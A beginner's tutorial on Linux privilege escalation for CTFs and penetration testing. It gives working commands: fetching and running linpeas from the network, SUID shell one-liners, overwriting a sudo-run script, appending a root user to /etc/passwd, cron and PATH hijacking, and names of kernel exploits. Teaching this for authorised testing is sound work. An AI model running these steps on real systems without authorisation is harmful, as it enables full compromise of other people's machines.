Linux Privilege Escalation: A Beginner's Guide

You've got a shell. You're running as www-data or some unprivileged user with no access to anything interesting. The flag is in /root. Now what?

Privilege escalation is the gap between "I have a foothold" and "I own this machine." It's one of the most consistently tested skills in CTFs, penetration testing, and real-world intrusions — and it's teachable. There are a finite set of techniques that work, and they follow patterns.

What privilege escalation means

You start with low-level access — a web shell, an SSH session as a service account, a reverse shell from a file upload. Privilege escalation is the process of turning that into root (or SYSTEM on Windows). Sometimes that means going through an intermediate user first.

The techniques fall into two broad categories: exploiting misconfigurations (the most common in practice) and exploiting vulnerable software (kernel exploits, outdated services). Misconfigurations are where you should start — they're more reliable, less likely to crash the system, and appear constantly in real environments.

Enumeration first — always

Before you try anything, you enumerate. Privilege escalation is 80% information gathering. Tools like linpeas.sh automate most of it:

# Download and run linpeas on the target
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer it manually if no internet access
# On your machine:
python3 -m http.server 8000
# On target:
wget http://YOUR_IP:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

Linpeas highlights interesting findings in colour — red/yellow means "look here first." Read the output carefully rather than just running exploits blindly.

SUID binaries

SUID (Set User ID) binaries run as their owner regardless of who executes them. If a binary owned by root has the SUID bit set, running it gives you root-level execution for the duration of that process — and if it can be abused to spawn a shell or write files, you're root.

# Find all SUID binaries on the system
find / -perm -u=s -type f 2>/dev/null

Check every result against GTFOBins (gtfobins.github.io) — a curated list of Unix binaries that can be exploited when given special permissions. Common ones that appear in CTFs and real systems:

• —find — can execute commands: find . -exec /bin/sh \; -quit
• —vim / vi — can spawn a shell from within the editor
• —python / python3 — python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
• —bash — if SUID: bash -p gives a privileged shell directly
• —cp — can overwrite /etc/passwd or /etc/sudoers

Sudo misconfigurations

Run sudo -l to see what the current user can execute as root without a password. This is one of the first things to check — and misconfigurations here are extremely common.

$ sudo -l
User www-data may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/monitor.py

If the script is writable, you overwrite it. If it imports a module from a writable directory, you drop a malicious module there (Python import hijacking). If it calls a binary without a full path, you manipulate PATH.

# If /opt/monitor.py is writable
echo 'import os; os.system("/bin/bash")' > /opt/monitor.py
sudo /usr/bin/python3 /opt/monitor.py

Writable /etc/passwd

If /etc/passwd is world-writable (rare but it happens), you can add a new root user with a known password hash:

# Generate a password hash
openssl passwd -1 -salt xyz hackrgg
# Returns something like: $1$xyz$AbCdEf...

# Append a new root-level user
echo 'hacker:$1$xyz$AbCdEf...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to it
su hacker

The 0:0 fields set UID and GID to root. Any entry with UID 0 is treated as root.

Cron jobs

Cron jobs running as root and using writable scripts or binaries are a reliable escalation path. Check system crontabs and writable directories:

# Check system cron
cat /etc/crontab
ls /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

# Find writable scripts called by cron
# (linpeas highlights these automatically)

If a root cron job runs /opt/cleanup.sh every minute and that file is writable, you inject a reverse shell or chmod u+s /bin/bash and wait.

Writable service files and PATH abuse

Services that call binaries without full paths are vulnerable to PATH hijacking. If you can write to a directory that appears earlier in the PATH than the real binary location:

# Check the PATH of a process or service
strings /usr/local/bin/some-service | grep -v "^$"

# If it calls "python" without a full path:
echo '#!/bin/bash' > /tmp/python
echo '/bin/bash -p' >> /tmp/python
chmod +x /tmp/python
export PATH=/tmp:$PATH
./some-service  # Now "python" resolves to your fake binary

Kernel exploits — last resort

Kernel exploits work regardless of configuration, but they're risky — a bad exploit can panic the kernel and crash the system. Use them when misconfigurations are exhausted.

# Check kernel version
uname -a
# Example: Linux target 4.4.0-116-generic

# Search for public exploits
searchsploit linux kernel 4.4.0

# Popular kernel exploits to know:
# - Dirty COW (CVE-2016-5195): Linux 2.6.22 – 4.8.3
# - PwnKit (CVE-2021-4034): polkit on most Linux distros
# - Dirty Pipe (CVE-2022-0847): Linux 5.8 – 5.16.10

The methodology in order

When you land on a box, work through this list before reaching for a kernel exploit:

• —Run sudo -l immediately
• —Run linpeas.sh and read the red/yellow output
• —Check SUID binaries against GTFOBins
• —Check crontabs for writable scripts
• —Check for writable /etc/passwd, /etc/shadow
• —Look for credentials in config files, history files, env variables
• —Check for running services listening only on localhost (port forwarding)
• —Check installed software versions for known exploits
• —Kernel exploit if nothing else works